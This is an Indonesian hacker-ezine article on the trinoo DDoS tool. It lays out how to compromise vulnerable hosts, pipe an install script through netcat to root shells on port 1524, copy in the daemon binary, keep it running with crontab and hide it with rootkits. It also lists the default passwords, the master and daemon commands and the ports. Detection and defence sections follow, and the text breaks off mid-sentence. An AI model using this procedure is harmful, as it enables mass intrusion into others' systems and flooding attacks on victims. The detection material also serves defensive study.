Copy Link
Add to Bookmark
Report

Echo Magazine Issue 08 Phile 0x007

eZine's profile picture
Published in 
Echo Magazine
 · 4 years ago

  



____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/


.OR.ID
ECHO-ZINE RELEASE
08

Author: hilman_hands
Online @ www.echo.or.id :: http://ezine.echo.or.id


*******************************************************************
Distributed Denial Of Service Attack Tool :
Jaringan Trinoo
a.k.a, Trin00
*******************************************************************

Pembuatan artikel ini sebenarnya saya maksudkan hanya untuk
memperluas cakrawala penulis tentang sistem penggunaan dari
tool DDOS ini, lalu penulis berpikir alangkah lebih baiknya
seandainya apa yang penulis dapatkan kemudian dipublikasikan
demi perluasan cakrawala temen-temen yang sering nongkrong di
situs-situs underground atau lebih luasnya mampu
memperkembangkan wawasan IT di Indonesia (gileeee bener.....).
Setelah saya melihat perkembangan dari pembahasan artikel yang
sering temen-temen buat di situs-situs underground, ternyata
pembahasan mengenai tool yang satu ini (DDOS) sangat minim
sekali, padahal apabila kita menengok berita-berita di situs
luar negeri banyak sekali korban yang berjatuhan akibat
digunakannya tool ini (mungkin anda pernah baca waktu lalu
di www.netcraft.com bahwa penyedia layanan internet terbesar
di jepang +++kalo gak salah baca+++ yaitu AKAMAI tumbang karena
serangan tool ini,atau apabila anda ingin baca lebih jauh tentang
maraknya serangan yang dilakukan oleh hacker / cracker dengan
menggunakan tool ini +++DDOS+++ terkini, anda bisa melihatnya
di www.ddosworld.com,tetapi yang sangat penulis sesalkan bahwa
di Indonesia atau bahkan di luar negeri sangat jarang sekali
terdapat artikel yang membahas tentang penggunaan dari tool ini
(hanya berita tentang situs-situs atau layanan jasa internet
yang jadi korban saja yang kita baca, tidak mengenai penggunaan
tool ini), lalu penulis mencoba untuk browsing, membaca, meneliti
sendiri cara penggunaan tool ini,begitu juga penulis meneliti
selama berminggu-minggu tentang source code-nya, membahas tentang
source code-nya melalui milis-milis luar negeri ataupun lokal
terutama milis-milis yang membahas tentang C programming,
pembahasan socket C programming, dll. dan yang sangat
membantu sekali bagi penulis tentang perluasan cakrawala penulis
terutama penggunaan dari tool DDOS ini, penulis dapatkan dari
DAVID DITTRICH, dan terus terang artikel ini sumber utamanya
didapat dari artikel yang di tulis oleh Dave Dittrich, dan
masih banyak sumber sekunder lainnya yang penulis dapatkan
selain dari david dittrich tersebut untuk penyempurnaan
dari artikel ini. kayak skripsi aja yaaa........udah dulu deh
ceritanya...oke sekarang kita langsung membahas artikel ini.....

Trinoo daemon yang original, koneksinya didasarkan pada UDP,
aksesnya dibatasi oleh remote command shell, tetapi apabila
anda ingin mengotomatisasikannya harus digunakan bersama dengan
sniffers (sebagai penghubung) untuk recovering sniffer log.

Selama saya melakukan penelitian terhadap sistem intrusi ini,
instalasi jaringan trinoo telah saya buat dalam jaringan
komputer sendiri, operating sistem yang saya gunakan adalah
Redhat 6.0 dan solaris 2.5.1 +++banyak suka dukanya untuk
mendapatkan OS solaris ini begitupun instalasinya karena
minimnya pengetahuan penulis tentang OS ini...heheh++++
(anda jangan coba-coba menginstalasi dalam komputer jaringan
orang lain…ok???).

Apabila anda telah memodifikasi source code trinoo (a.k.a.
"trin00") ataupun anda mendownload trinoo yang bukan versi
aslinya tentu saja akan merubah setiap detil dalam pembahasan
dalam artikel ini, seperti prompt, password, commands, port
number TCP/UDP, atau metoda serangan yang didukung, signature,
feature, dan lain-lain.

Seperti pembahasan stacheldraht yang lalu, pembahasan kali
ini juga daemon telah di-compile dan di-run pada operating
sistem Solaris 2.5.1 dan redhat Linux 6.0. Master telah
di-compile dan di-run pada OS redhat Linux 6.0. Temen-temen
mungkin bisa mencobanya pada flatform yang lain…ataupun
seandainya temen-temen ingin menganalisanya juga ada baiknya
pake solaris 2.5.1 atau redhat 6.0, karena sudah teruji
khasiatnya….kayak iklan jamu aja yah….hehe.

Jaringan trinoo sebenarnya bisa di-setup pada ratusan, atau
bahkan barangkali ribuan sistem yang terhubung ke Internet
yang telah di-compromised (yang telah ditaklukkan dan telah
anda atur sedemikian rupa, tentu saja untuk kepentingan anda
sendiri) oleh exploitasi remote buffer overrun. Akses ke
sistem ini sebaiknya atau kalo boleh seharusnya
"diabadikan" oleh instalasi berbagai "pintu belakang
atau backdoor" bersama dengan trinoo daemons.

Apabila kita melongok pada tahun 1999 tepatnya tanggal 17
agustus, Jaringan trinoo yang sedikitnya di-compromise
pada sekitar 227-114 sistem telah digunakan untuk
menyerang sistem tunggal di Universitas Minnessota
dengan menggunakan style flooding attack, adanya serangan
terhadap target network tersebut menyebabkan sistem di
Universitas Minnesota tak dapat dipakai selama dua hari
lebih. Selama para sistem administrator merespon terhadap
adanya serangan ini, arus besar juga tercatat telah
membanjiri sedikitnya enam belas sistem lain,
beberapa di luar AS.


LANGKAH-LANGKAH DALAM MENGINSTALASI JARINGAN TRINOO
*******************************************************************

Tipikal instalasi pada DDoS attack tool trinoo mungkin seperti di
bawah ini :
1). Cobalah anda mempunyai sebuah account pada sistem lain
(jangan coba-coba mencuri account dan mengunakan tool ini pada
sistem orang lain yang ilegal, karena artikel ini hanya digunakan
untuk bahan pembelajaran saja +++tetapi cracker biasanya nyolong
account super user di remote sistem,udah banyak khan tutorial
untuk nyolong account tersebut? Tetapi kadangkala tutorialnya gak
ngejelasin soal sistem kerja dari tool-nya sendiri, yang lebih
parah hacker/craker newbies gak melakukan proses hacking terhadap
sistem target/telaah terhadap sistem target…kalo asal ngejalanin
tool…gimana bisa maju…tul gak?+++. Akan lebih baik apabila account
tersebut tidak membatasi ruang gerak bagi pemakainya atau anda
mempunyai account "Super User", dan akan lebih baik pula apabila
anda mempunyai koneksi high-bandwith agar proses transfer file
lebih cepat). maksudnya bahwa sebuah account pada sistem yang
lain tersebut dapat digunakan sebagai tempat penyimpanan versi
pre-compiled scanning tool, attack tool (seperti: buffer overrun
exploit), root kit dan sniffer, program trinoo daemon dan master,
daftar host yang vulnerable dan daftar host yang sebelumnya
telah anda kuasai yang dapat kita compromised dengan sistem kita,
dan lain lain.

2). Suatu scanning tool digunakan untuk meneliti cakupan network
blocks yang luas/besar untuk mengidentifikasi target yang potensial.
Target sebaiknya meliputi sistem yang menjalankan berbagai service
atau yang memiliki security bug yang secara remote dapat di
exploitasi dengan buffer overflow,seperti oleh wu-ftpd,
service RPC untuk "cmsd", "statd", "ttdbserverd", "amd",
dan lain lain. Operating System yang akan menjadi target
sebaiknya dicari yang ber-flatform Sun Solaris 2.x atau linux
(pokoknya OS yang dapat menjalankan "root kits" untuk
menyembunyikan back door, network sniffer, dan lain-lain),
kemudian account yang telah kita dapatkan (sebaiknya jangan
mencuri)pada arsitektur yang lainnya dapat kita gunakan
untuk tool-tool caching dan log files.

3) Sebuah daftar dari system yang vulnerable kemudian digunakan
untuk membuat sebuah script yang melaksanakan exploitasi (tentu
saja setelah di-compromise), men-setup command shell yang dapat
berjalan apabila menggunakan account root yang listen pada port
TCP (biasanya menggunakan 1524/tcp, service port "ingreslock"),
dan konek pada port tersebut untuk mengkonfirmasikan sukses
atau tidaknya eksploitasi. Dalam beberapa hal, sebuah pesan
e-mail dikirim ke sebuah account yang menggunakan service web
email gratis untuk mengkonfirmasikan sistem yang manakah yang
telah di-compromise. Hasilnya adalah daftar dari system "yang
telah dikuasai" yang siap untuk dipasangi backdoor, sniffers,
atau trinoo daemons atau master.

4). Dari daftar sistem yang telah di compromise ini, subsets-kan
dengan arsitektur yang diinginkan yang telah kita pilih untuk
jaringan trinoo. Buat dan simpanlah pre-compiled binary dari
trinoo daemon tersebut pada sebuah account yang telah kita
dapatkan (tentu saja pada system yang terhubung dengan internet).

5). Kemudian jalankan Script tersebut, dimana script ini akan
mengambil dari daftar system "yang telah dikuasai" dan kita
sebenarnya masih bisa membuat script yang lain untuk
meng-otomatisasikan proses instalasi, dan menjalankan setiap
instalasi di background untuk multitasking maksimum.

Script ini menggunakan "Netcat" ("nc") untuk pemipaan suatu
shell script terhadap shell root yang listening, dalam hal ini,
menggunakan port 1524/tcp, perhatikan contoh di bawah ini :
*******************************************************************
./trin.sh | nc 208.aaa.24.14 1524 &
./trin.sh | nc 208.aaa.125.18 1524 &
./trin.sh | nc 208.aaa.204.54 1524 &
./trin.sh | nc 208.aaa.229.49 1524 &
./trin.sh | nc 208.bbb.2.80 1524 &
./trin.sh | nc 208.bbb.2.81 1524 &
./trin.sh | nc 208.bbb.2.238 1524 &
./trin.sh | nc 208.ccc.12.22 1524 &
./trin.sh | nc 208.ccc.12.50 1524 &
. . .
. . .
*******************************************************************
Script " trin.sh", yang outputnya telah dipipakan ke sistem-sistem
ini, akan terlihat seperti di bawah ini:
*******************************************************************
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"

echo "chmod +x /usr/sbin/rpc.listen"

echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"

echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
*******************************************************************
Tergantung seberapa dekatnya crontab files dapat dimonitor, atau
jika crontab files kita gunakan semuanya, hal ini mungkin dapat
dengan mudah di deteksi. Jika cron tidak kita gunakan sama sekali
oleh user ini (biasanya root), hal ini mungkin saja tidak akan
terdeteksi sama sekali.

6). Untuk tahap ini optional. Kita dapat menginstal "root kit"
ke sebuah sistem untuk menyembunyikan kehadiran program, file,
dan koneksi jaringan. Untuk system master, hal tersebut sangat
penting sekali, karena sistem master ini adalah sebuah kunci
jaringan trinoo. Haruslah dicatat bahwa dalam banyak kasus,
master-master biasanya di-set / diinstalasi pada Internet Service
Provider (ISP=penyedia layanan internet dan biasanya juga sebagai
primary name server host), yang secara normal / biasanya mempunyai
high packet traffic (paket lalu lintas yang sangat besar) dan
mempunyai koneksi TCP dan UDP yang sangat banyak, yang akan secara
efektif dapat menyembunyikan trinoo master berhubungan dengan
adanya lalu lintas atau aktivitas yang sangat banyak tersebut,
dan mungkin tidak akan terdeteksi. (sebuah fakta bahwa primary name
server juga akan cenderung untuk membuat pemilik untuk mematikan
system yang terhubung ke internet seandainya mereka mulai curiga
adanya aktivitas yang berhubungan dengan denial of service.)

Root kit juga bisa digunakan pada sistem yang menjalankan sniffers,
bersama-sama dengan program seperti "hunt" ( TCP/IP session hijacking
tool) dimana tool tersebut bisa digunakan untuk mem-burrow lebih lanjut
ke dalam jaringan lain secara langsung, daripada menggunakan exploit
remote buffer overrun (e.g., untuk menemukan sites untuk men-set
tempat penyimpanan file baru, dan lain-lain).

Untuk informasi lebih lanjut mengenai "root kits" atau anda ingin
mengetahui tentang segala sesuatunya, bisa anda lihat di (agar anda
dapat lebih mengerti tentang artikel ddos tool ada baiknya anda
mengetahui tentang system kerja daripada root kit ini):
http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq


JARINGAN TRINOO
*******************************************************************

Network Trinoo : attacker(s)-->master(s)-->daemon(s)-->victim(s.
Jaringan trinoo terdiri dari master server ("master.c") dan trinoo
daemon ("ns.c"). Jaringan trinoo akan terlihat seperti di bawah ini:

+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
...--+------+---------------+-------+----------+--...
| | |
| | |
+----------+ +----------+ +----------+
| master | | master | | master |
+----------+ +----------+ +----------+
| | |
| | |
... ---+------+--------+-------------+---+----------+-----+----------+--...
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | |daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+

Attacker (bisa satu atau lebih) dapat mengendalikan satu atau lebih
"master" server, masing-masing "master" server dapat mengendalikan
banyak "daemons" (di dalam kodenya dikenal/diketahui sebagai "Bcast",
atau "broadcast".) Daemons disana dapat diinstruksikan untuk
mengkoordinir suatu paket serangan terhadap satu atau lebih sistem korban.

Untuk keperluan semua hal tersebut di atas yang dibutuhkan selanjutnya
adalah kemampuan untuk menetapkan suatu koneksi TCP terhadap host
master dengan menggunakan "telnet" dan password kepada master server
agar mampu merangkum semua jaringan yang luas agar dapat dikoordinasi
untuk melakukan serangan denial of service.


PORT-PORT UNTUK MELAKUKAN KOMUNIKASINYA
*******************************************************************

Attacker ke Master(s): 27665/tcp
Master ke daemon (s): 27444/udp
Daemon ke Master (s): 31335/udp

Remote control dari trinoo master dapat dilakukan melalui suatu
koneksi TCP dengan port 27665/tcp. Setelah terkoneksi, user harus
memberikan password yang sesuai ("betaalmostdone"). Jika sebuah
koneksi lain telah terhubung ke server dan telah di-authenticate,
suatu peringatan akan dikirim kepadanya dengan alamat IP dari
host yang terhubung (hal tersebut muncul untuk memberitahukan
bahwa terdapat sebuah bug yang melaporkan adanya alamat IP yang
salah, tetapi sebuah peringatan tersebut masih tetap
dikomunikasikan). Dengan adanya hal tersebut sebaiknya
secepatnya diperbaiki dan kemudian hal tersebut akan
memberikan waktu kepada attacker untuk membersihkan
dan menutupi jejaknya.

Komunikasi antara trinoo master ke daemons adalah melalui paket
UDP pada port 27444/udp. Bentuk Perintahnya dipisahkan oleh spasi,
formatnya seperti di bawah ini :

arg1 password arg2

Default password untuk commands adalah "l44adsl", dan hanya
command lines yang berisi substring "l44"-lah yang akan diproses.

Komunikasi antara trinoo daemons ke trinoo master adalah melalui
paket UDP pada port 31335/udp.

Ketika daemon start, pada awalnya akan mengirimkan string "*HELLO*"
kepada master, yang mengatur daftar daemon aktif yang dapat
dikontrolnya (paket tersebut dapat ditangkap dengan menggunakan
"sniffit"), seperti dibawah ini :

*******************************************************************
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
4C L 4F O 2A *
*******************************************************************

Jika trinoo master mengirimkan sebuah perintah "png" terhadap daemon
pada port 27444/udp, trinno daemon akan me-reply kepada server dengan
string "PONG" pada port 31335/udp, coba temen-temen perhatikan
yang ditangkap oleh "sniffit" :

*******************************************************************
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l

UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G
*******************************************************************


PROTEKSI PASSWORD
*******************************************************************

Trinoo master dan trinoo daemon kedua-duanya diproteksi oleh password
untuk menjaga agar system administrator (atau group hacker yang lain)
mengambil alih kontrol jaringan trinoo. Password-password tersebut
dienkripsi dengan menggunakan crypt () style password. Enkripsi tersebut
digunakan di dalam symmetric fashion, di mana password yang dienkripsi
di-compile ke dalam master dan daemon dan digunakan untuk membandingkan
antara versi clear-text dari password yang dikirim lewat jaringan (versi
yang sekarang tidak meng-enkripsi sesi yang aktual, sehingga clear-text
password tersebut dapat terlihat dalam transit dan sesi master
controlnya adalah tunduk terhadap TCP session highjacking).

Ketika inisialisasi mulai berjalan atau ketika program mulai dijalankan,
kita akan dihadapkan pada master daemon prompt, menunggu diberikannya
sebuah password. Apabila password yang sesuai tidak diterima atau apabila
temen-temen memberikan password yang salah maka program akan keluar. Jika
password yang sesuai kita berikan, maka program akan memberitahukan,
dan proses berlanjut dilatar belakang, lalu program keluar, lihatlah
contoh di bawah ini:

# ./master
?? passwordsalah
#
. . .

# ./master
?? gOrave
trinoo v1.07d2+f3+c [Sep 26 2004:10:09:24]
#

Demikian juga, ketika kita konek ke port remote command ( default
27665/tcp), kita harus pula memberi password, coba lihat contoh
di bawah ini:

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
passwordsalah
Connection closed by foreign host.
. . .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

trinoo>

Perintah-perintah tertentu yang dikirim kepada trinoo daemons oleh
master, juga diproteksi oleh password. Password yang dikirim oleh
master ke daemon juga dalam format clear text.

Default password-nya adalah :

"l44adsl" Password trinoo daemon.
"gOrave" Password startup trinoo master server("??" prompt)
"betaalmostdone" Password remote interface trinoo master
"killme" Password trinoo master untuk mengontrol "mdie" command


PERINTAH-PERINTAH YANG DIDUKUNG OLEH MASTER
*******************************************************************

Perintah-perintah yang didukung oleh trinoo master, seperti
dibawah ini :

die Untuk men-shut down master

quit Untuk log off master

mtimer N Untuk menset/mengatur waktu DoS ke N detik. N bisa
antara 1 sampai 1999 detik. Jika N adalah < 1,
defaultnya sampai 300. jika N adalah > 2000,
defaultnya sampai 500.

dos IP Untuk melakukan serangan DoS terhadap alamat IP
yang telah ditetapkan.Sebuah perintah ("aaa 144adsl IP")
dikirimkan kepada setiap Bcast host (i.e., trinoo daemons)
untuk melakukan serangan DoS terhadap alamat IP yang
telah ditetapkan.

mdie pass Untuk mendisable semua Bcast hosts, jika diberikan
password yang benar.Sebuah perintah dikirimkan
("d1e 144adsl") kepada setiap Bcast host untuk
men-shutdown.Sebuah password terpisah diperlukan
untuk perintah ini.

mping Untuk mengirimkan perintah PING ("png 144adsl")
ke setiap Bcast host yang aktif.

mdos Multiple DoS. Untuk mengirimkan perintah multiple DoS
("xyz 144adsl 123:ip1:ip2:ip3") ke setiap Bcast host.

info Info versi dan info tentang compilasi, contoh :
This is the "trinoo" AKA DoS Project master server
version v1. 07d2+f3+c Compiled 15:08:41 Sept. 16 2004

msize Men-set buffer size untuk paket yang dikirim
selama DoS attack.

nslookup host
Untuk melakukan name service lookup (nslookup) terhadap
spesifik host dari perspektif host dimana master
server tersebut berjalan.

killdead Untuk membuang semua Bcast host yang mati dengan
pertama kali mengirimkan paket terhadap semua Bcast
host dengan sebuah perintah ("shi 144adsl") yang
menyebabkan semua aktif daemon me-reply dengan sebuah
inisial string "*HELLO*", yang kemudian me-rename
file Bcast (dengan extensi "-b"). Hal tersebut akan
menyebabkan re-inisialisasi ketika paket "*HELLO*"
diterima.

usebackup Men-switch backup file Bcast yang dibuat oleh
perintah " killdead".

bcast Daftar semua Bcast host yang aktif.

help [cmd] Help file (memberikan daftar dari perintah yang
didukung).

mstop Untuk men-stop DoS attack (tidak diimplementasikan,
tapi terdaftar dalam help command).


PERINTAH-PERINTAH YANG DIDUKUNG OLEH DAEMON
*******************************************************************

Trinno daemon mendukung command-command sebagai berikut :

aaa pass IP Untuk men-DoS alamat IP yang telah ditentukan. Mengirimkan
paket-paket UDP ke port UDP secara random (0-65534)
terhadap alamat IP yang telah ditentukan berdasarkan
periode waktu (defaultnya 120 detik, atau 1 - 1999 detik
untuk men-setupnya menggunakan perintah "bbb").
Untuk ukuran paket yang akan dikirim diset dengan
perintah "rsz", atau dengan menggunakan default
size-nya yaitu 1000 byte.

bbb pass N Men-set batas waktu (dalam detik) untuk DoS attack.

shi pass Untuk mengirimkan string "*HELLO*" terhadap daftar
master server yang telah di-compile pada port 31335/udp.

png pass Untuk mengririm String "PONG" terhadap master
menggunakan port 31335/udp.

d1e pass Men-shut down trinoo daemon.

rsz N Untuk men-set ukuran buffer untuk DoS attack ke N bytes.

xyz pass 123:ip1:ip2:ip3
Multiple DoS. Sama seperti yang digunakan pada perintah
"aaa", tetapi disini hanya untuk multiple IP address.

Coba anda lihat perintah-printah dibawah ini (anda harus menggunakan
opsi "--bytes=3" dari GNU STRINGS (1)) :
*******************************************************************
# strings --bytes=3 ns | tail -15
socket
bind
recvfrom
l44
%s %s %s
aIf3YWfOhw.V.
aaa
bbb
shi
png
PONG
d1e
rsz
xyz
*HELLO*
*******************************************************************


FINGERPRINTS
*******************************************************************

Metoda yang digunakan untuk menginstal trinoo daemon pada beberapa
sistem menggunakan crontab entry untuk memulai daemon pada tiap
menitnya. Crontab file akan menempatkan masukan ini :

* * * * * /usr/sbin/rpc.listen

Program master akan menciptakan sebuah file (nama defaultnya "...")
yang berisi set dari Bcast host. Jika perintah "killdead" digunakan,
sebuah perintah "shi" akan dikirim ke semua daemon yang terdaftar
di "...", yang menyebabkan daemon-daemon tersebut mengirimkan
inisial string "*HELLO*" ke semua master. Kemudian daftar yang
sekarang akan dinamai kembali (defaultnya "...-b") dan sebuah
daftar baru kemudian akan menghasilkan tiap-tiap sisa daemon yang
hidup dan akan mengirimkan string "*HELLO*".

Source code ("master.c") berisi seperti line berikut ini :
*******************************************************************
. . .
/* crypt key encrypted with the key 'bored'(so hex edit cannot
get key easily?)comment out for no encryption... */
#define CRYPTKEY "ZsoTN.cq4X31"
. . .
*******************************************************************

Jika program telah di compile dengan CRYPTKEY define, alamat
IP dari Bcast host akan dienkripsi menggunakan algoritma
Blowfish encryption.

*******************************************************************
# ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...-b
# cat ...
JPbUc05Swk/0gMvui18BrFH/
# cat ...-b
aE5sK0PIFws0Y0EhH02fLVK.
JPbUc05Swk/0gMvui18BrFH/
*******************************************************************

Apabila kita asumsikan di dalam sistem tersebut tidak kita tanam
"root kit" untuk menyembunyikan proses, master server akan
menunjukkan fingerprint network soket berikut ini :

*******************************************************************
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:27665 *:* LISTEN
. . .
udp 0 0 *:31335 *:*
. . .

# lsof | egrep ":31335|:27665"
master 1292 root 3u inet 2460 UDP *:31335
master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)

# lsof -p 1292
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
master 1292 root cwd DIR 3,1 1024 14356 /tmp/...
master 1292 root rtd DIR 3,1 1024 2 /
master 1292 root txt REG 3,1 30492 14357 /tmp/.../master
master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
master 1292 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
master 1292 root 0u CHR 4,1 2967 /dev/tty1
master 1292 root 1u CHR 4,1 2967 /dev/tty1
master 1292 root 2u CHR 4,1 2967 /dev/tty1
master 1292 root 3u inet 2534 UDP *:31335
master 1292 root 4u inet 2535 TCP *:27665 (LISTEN)
*******************************************************************

Sistem yang menjalankan daemon akan menunjukkan hal berikut ini :

*******************************************************************
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
. . .
udp 0 0 *:1024 *:*
udp 0 0 *:27444 *:*
. . .

# lsof | egrep ":27444"
ns 1316 root 3u inet 2502 UDP *:27444

# lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...
ns 1316 root rtd DIR 3,1 1024 2 /
ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns
ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ns 1316 root 0u CHR 4,1 2967 /dev/tty1
ns 1316 root 1u CHR 4,1 2967 /dev/tty1
ns 1316 root 2u CHR 4,1 2967 /dev/tty1
ns 1316 root 3u inet 2502 UDP *:27444
ns 1316 root 4u inet 2503 UDP *:1024
*******************************************************************


PERTAHANAN
*******************************************************************

Tentu saja, pertahanan yang terbaik adalah mencegah adanya seseorang
yang nge-rooted dan meng-intrusi system, yang selanjutnya mereka
meng-compromise system anda dengan mereka (attacker), itulah saran
pokok penulis, sehingga tidak ada celah manapun bagi attacker untuk
menginstal trinoo master/daemon. Apabila kita membayangkan sesuatu
yang ideal, maka salah satu jalan terbaik (seperti yang sering kita
baca/dengar….dan ini sangat membosankan…!!!) adalah semua system
harus di patched, dimonitor, menggunakan IDS (intrusion detection
system) dan firewall yang akan mendeteksi dan menolak paket-paket.
Tetapi semua hal tersebut tidak 100% akan menjamin bahwa system
anda akan selamat.

Mungkin saja network anda telah tertanam beberapa trinoo daemons
yang berjalan dan disiapkan untuk melakukan DoS terhadap system
lain. Lalu bagaimana mereka dapat dideteksi atau dilumpuhkan?

Karena program menggunakan nomor port UDP yang tinggi untuk
melakukan komunikasi dan penyerangannya, hal tersebut akan
sangat menyulitkan (jika tidak mustahil) untuk membloknya
tanpa mematahkan program yang menggunakan UDP pada port number
yang tinggi tersebut.

Metode yang paling mudah untuk mendeteksi kehadiran trinoo
master atau daemon adalah dengan memonitoring semua paket
UDP pada segmen Ethernet sharing dan anda bisa
melihatnya/mencarinya pada tale sign ketika mereka
melakukan komunikasi antara master dan daemon, seperti yang
akan saya gambarkan pada artikel ini pada tempat lainnya.
Sayangnya, pendeteksian ini hanya bisa dilakukan selama
terjadi suatu serangan atau jika terjadi suatu network
degradation ataupun jika ada laporan dari victim sites
tentang adanya serangan DoS terhadapnya.

Jika suatu sistem dicurigai memiliki trinoo daemon yang
secara aktif menyerang, output dari program "truss" nya
solaris dari daemon yang berjalan akan menunjukkan output
seperti di bawah ini :

*******************************************************************
. . .
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...)
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
time() = 938385467
open("/dev/udp", O_RDWR) = 5
ioctl(5, I_PUSH, "sockmod") = 0
ioctl(5, I_STR, 0xEFFFF748) = 0
ioctl(5, I_SETCLTIME, 0xEFFFF7FC) = 0
ioctl(5, I_SWROPT, 0x00000002) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0
ioctl(5, I_STR, 0xEFFFF660) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0
sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0) = 0
ioctl(5, I_STR, 0xEFFFF548) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
. . .
*******************************************************************

Sedangkan apabila kita lihat lalu-lintas jaringan selama terjadinya
penyerangan terhadap single target (seperti yang kita lihat dengan
menggunakan "tcpdump") akan terlihat seperti di bawah ini :

*******************************************************************
# tcpdump ip host 192.168.0.1
. . .
15:40:08.491782 10.0.0.1.1024 > 192.168.0.1.27444: udp 25
15:40:08.574453 192.168.0.1.32885 > 216.160.XX.YY.16838: udp 4 (DF)
15:40:08.576427 192.168.0.1.32885 > 216.160.XX.YY.5758: udp 4 (DF)
15:40:08.579752 192.168.0.1.32885 > 216.160.XX.YY.10113: udp 4 (DF)
15:40:08.583056 192.168.0.1.32885 > 216.160.XX.YY.17515: udp 4 (DF)
15:40:08.600948 192.168.0.1.32885 > 216.160.XX.YY.31051: udp 4 (DF)
15:40:08.604943 192.168.0.1.32885 > 216.160.XX.YY.5627: udp 4 (DF)
15:40:08.610886 192.168.0.1.32885 > 216.160.XX.YY.23010: udp 4 (DF)
15:40:08.614202 192.168.0.1.32885 > 216.160.XX.YY.7419: udp 4 (DF)
15:40:08.615507 192.168.0.1.32885 > 216.160.XX.YY.16212: udp 4 (DF)
15:40:08.616854 192.168.0.1.32885 > 216.160.XX.YY.4086: udp 4 (DF)
15:40:08.618827 192.168.0.1.32885 > 216.160.XX.YY.2749: udp 4 (DF)
15:40:08.623480 192.168.0.1.32885 > 216.160.XX.YY.12767: udp 4 (DF)
15:40:08.625458 192.168.0.1.32885 > 216.160.XX.YY.9084: udp 4 (DF)
15:40:08.628764 192.168.0.1.32885 > 216.160.XX.YY.12060: udp 4 (DF)
15:40:08.632090 192.168.0.1.32885 > 216.160.XX.YY.32225: udp 4 (DF)
. . .
*******************************************************************


KELEMAHAN TRINOO
*******************************************************************

Kelemahan yang pertama adalah password-password yang dienkripsi
dengan crypt (), dan beberapa prompt dan return strings, yang
dapat terlihat dalam image biner master dan daemon.

Hal tersebut di atas mempunyai dampak bahwa seseorang atau hacker
lain dapat mengidentifikasi master dan daemon yang ditemukannya,
men-determinisasikan apakah password yang digunakannya adalah
default seperti yang dibahas dalam artikel ini atau bukan,
